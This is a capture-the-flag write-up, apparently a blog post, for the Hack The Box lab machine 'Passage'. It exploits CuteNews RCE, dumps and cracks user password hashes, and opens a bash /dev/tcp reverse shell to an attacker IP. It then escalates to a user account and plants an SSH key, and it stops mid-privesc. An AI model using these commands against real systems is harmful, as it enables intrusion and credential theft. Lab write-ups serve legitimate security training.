mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
505 lines
28 KiB
Markdown
505 lines
28 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Passage Writeup
|
||
|
||
|
||
|
||
## Introduction :
|
||
|
||
Passage is a Medium Linux box released back in September 2020.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
|
||
→ nmap -vvv -p- 10.10.10.206 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||
Discovered open port 80/tcp on 10.10.10.206
|
||
Discovered open port 22/tcp on 10.10.10.206
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB]
|
||
→ nmap -sCV -p22,80 10.10.10.206
|
||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:25 CEST
|
||
Nmap scan report for 10.10.10.206
|
||
Host is up (0.47s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|
||
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|
||
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
|
||
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||
|_http-title: Passage News
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan picked up port 80, and we see that this is a CuteNews instance:
|
||
|
||
|
||
|
||
We don't know the version of cutenews so we're going to use the most up to date RCE exploit we get from searchsploit:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
|
||
→ searchsploit cutenews Remote Code
|
||
---------------------------------- ---------------------------------
|
||
Exploit Title | Path
|
||
---------------------------------- ---------------------------------
|
||
CuteNews 1.1.1 - 'html.php' Remot | php/webapps/4851.txt
|
||
CuteNews 2.1.2 - 'avatar' Remote | php/remote/46698.rb
|
||
CuteNews 2.1.2 - Remote Code Exec | php/webapps/48800.py
|
||
---------------------------------- ---------------------------------
|
||
Shellcodes: No Results
|
||
|
||
|
||
|
||
Let's use **48800.py**
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ cp $(locate 48800.py) .
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ vim 48800.py
|
||
|
||
|
||
|
||
Looking at it we basically see that it's looking for a webpage at **/CuteNews/cdata/users/lines** :
|
||
|
||
|
||
|
||
So we can do this manually:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ curl http://10.10.10.206/CuteNews/cdata/users/lines
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
?php die('Direct call - access denied'); ?>
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0=
|
||
?php die('Direct call - access denied'); ?>
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
|
||
|
||
|
||
we basically get a bunch of base64 strings and some php lines, we don't want the php lines obviously:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ curl http://10.10.10.206/CuteNews/cdata/users/lines | grep -v php > stuff.b64
|
||
% Total % Received % Xferd Average Speed Time Time Time Current
|
||
Dload Upload Total Spent Left Speed
|
||
100 3840 100 3840 0 0 4076 0 --:--:-- --:--:-- --:--:-- 4072
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ cat stuff.b64
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
|
||
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
|
||
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0=
|
||
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
|
||
|
||
|
||
|
||
Now we simply decode these:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ cat stuff.b64 | base64 -d
|
||
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}%
|
||
|
||
|
||
It looks ugly in one line but we only want the 64 characters long hashes which are basically password hashes, so we save them in another file:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ echo '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1' > hashes.txt
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ echo '4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88' >> hashes.txt
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' >> hashes.txt
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ echo 'f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca' >> hashes.txt
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ echo '4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc' >> hashes.txt
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ cat hashes.txt
|
||
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
|
||
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
|
||
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
|
||
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
|
||
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
|
||
|
||
|
||
Now that we have our password hashes let's crack them online:
|
||
|
||
|
||
|
||
So right here we have 2 credentials **egre555:egre555** and **paul:atlanta1** , now let's run the python script to get RCE and a reverse shell onto the box:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ python3 48800.py
|
||
|
||
|
||
|
||
_____ __ _ __ ___ ___ ___
|
||
/ ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ |
|
||
/ /__/ // / __/ -_) / -_) |/|/ (_- / __/_ / / / __/
|
||
\___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/
|
||
___ _________
|
||
/ _ \/ ___/ __/
|
||
/ , _/ /__/ _/
|
||
/_/|_|\___/___/
|
||
|
||
|
||
|
||
|
||
[->] Usage python3 expoit.py
|
||
|
||
Enter the URL> http://10.10.10.206
|
||
================================================================
|
||
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
|
||
================================================================
|
||
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
|
||
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
|
||
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
|
||
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
|
||
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
|
||
================================================================
|
||
|
||
=============================
|
||
Registering a users
|
||
=============================
|
||
[+] Registration successful with username: 2Try8myZEO and password: 2Try8myZEO
|
||
|
||
=======================================================
|
||
Sending Payload
|
||
=======================================================
|
||
signature_key: fe0e5ee6388a2c269ba1a68f5c176505-2Try8myZEO
|
||
signature_dsi: 44e4955df800171626681b1c1c666d3f
|
||
logged in user: 2Try8myZEO
|
||
============================
|
||
Dropping to a SHELL
|
||
============================
|
||
|
||
command > id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
||
|
||
So here we get RCE as www-data, now let's spawn a reverse bash shell with it:
|
||
|
||
|
||
[terminal 1]
|
||
command > bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'
|
||
|
||
[terminal 2]
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ nc -lvnp 9001
|
||
listening on [any] 9001 ...
|
||
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.206] 40140
|
||
bash: cannot set terminal process group (1562): Inappropriate ioctl for device
|
||
bash: no job control in this shell
|
||
www-data@passage:/var/www/html/CuteNews/uploads$ id
|
||
id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
||
|
||
So as expected we get a reverse shell as www-data, let's first spawn a fully-interactive TTY:
|
||
|
||
|
||
www-data@passage:/var/www/html/CuteNews/uploads$ which python python3 wget curl
|
||
/usr/bin/python
|
||
/usr/bin/python3
|
||
/usr/bin/wget
|
||
/usr/bin/curl
|
||
|
||
www-data@passage:/var/www/html/CuteNews/uploads$ cd /tmp
|
||
cd /tmp
|
||
|
||
www-data@passage:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||
|
||
www-data@passage:/tmp$ ^Z
|
||
[1] + 2211312 suspended nc -lvnp 9001
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
|
||
→ stty raw -echo ; fg
|
||
[1] + 2211312 continued nc -lvnp 9001
|
||
export TERM=screen-256color
|
||
|
||
www-data@passage:/tmp$ export SHELL=bash
|
||
|
||
www-data@passage:/tmp$ stty rows 50 columns 200
|
||
|
||
www-data@passage:/tmp$ reset
|
||
|
||
|
||
|
||
And now we have a fully interactive TTY, now let's use **su** to privesc to the user paul since we got his credentials earlier:
|
||
|
||
|
||
www-data@passage:/tmp$ su paul
|
||
Password:
|
||
paul@passage:/tmp$ cd ~
|
||
paul@passage:~$ ls -lash
|
||
total 112K
|
||
4.0K drwxr-x--- 16 paul paul 4.0K Feb 5 06:30 .
|
||
4.0K drwxr-xr-x 4 root root 4.0K Jul 21 2020 ..
|
||
0 ---------- 1 paul paul 0 Jul 21 2020 .bash_history
|
||
4.0K -rw-r--r-- 1 paul paul 220 Aug 31 2015 .bash_logout
|
||
4.0K -rw-r--r-- 1 paul paul 3.7K Jul 21 2020 .bashrc
|
||
4.0K drwx------ 10 paul paul 4.0K Sep 1 2020 .cache
|
||
4.0K drwx------ 14 paul paul 4.0K Aug 24 2020 .config
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Desktop
|
||
4.0K -rw-r--r-- 1 paul paul 25 Aug 24 2020 .dmrc
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Documents
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Downloads
|
||
12K -rw-r--r-- 1 paul paul 8.8K Apr 20 2016 examples.desktop
|
||
4.0K drwx------ 2 paul paul 4.0K Aug 24 2020 .gconf
|
||
4.0K drwx------ 3 paul paul 4.0K Feb 5 06:58 .gnupg
|
||
4.0K -rw------- 1 paul paul 1.9K Feb 5 06:30 .ICEauthority
|
||
4.0K drwx------ 3 paul paul 4.0K Aug 24 2020 .local
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Music
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Pictures
|
||
4.0K -rw-r--r-- 1 paul paul 655 May 16 2017 .profile
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Public
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 .ssh
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Templates
|
||
4.0K -r-------- 1 paul paul 33 Jun 27 10:49 user.txt
|
||
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Videos
|
||
4.0K -rw------- 1 paul paul 52 Feb 5 06:30 .Xauthority
|
||
4.0K -rw------- 1 paul paul 1.3K Feb 5 06:58 .xsession-errors
|
||
4.0K -rw------- 1 paul paul 1.2K Feb 5 04:42 .xsession-errors.old
|
||
paul@passage:~$ cat user.txt
|
||
77XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And we got the user flag.
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to privesc this box we can run linpeas.sh after adding our public ssh key to the box for ease of use:
|
||
|
||
|
||
[terminal 1]
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ cp /home/nothing/HTB/openkeys/linpeas.sh .
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
[terminal 2]
|
||
paul@passage:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/passage]
|
||
→ ssh paul@10.10.10.206 -i ~/.ssh/mainpc
|
||
The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established.
|
||
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
|
||
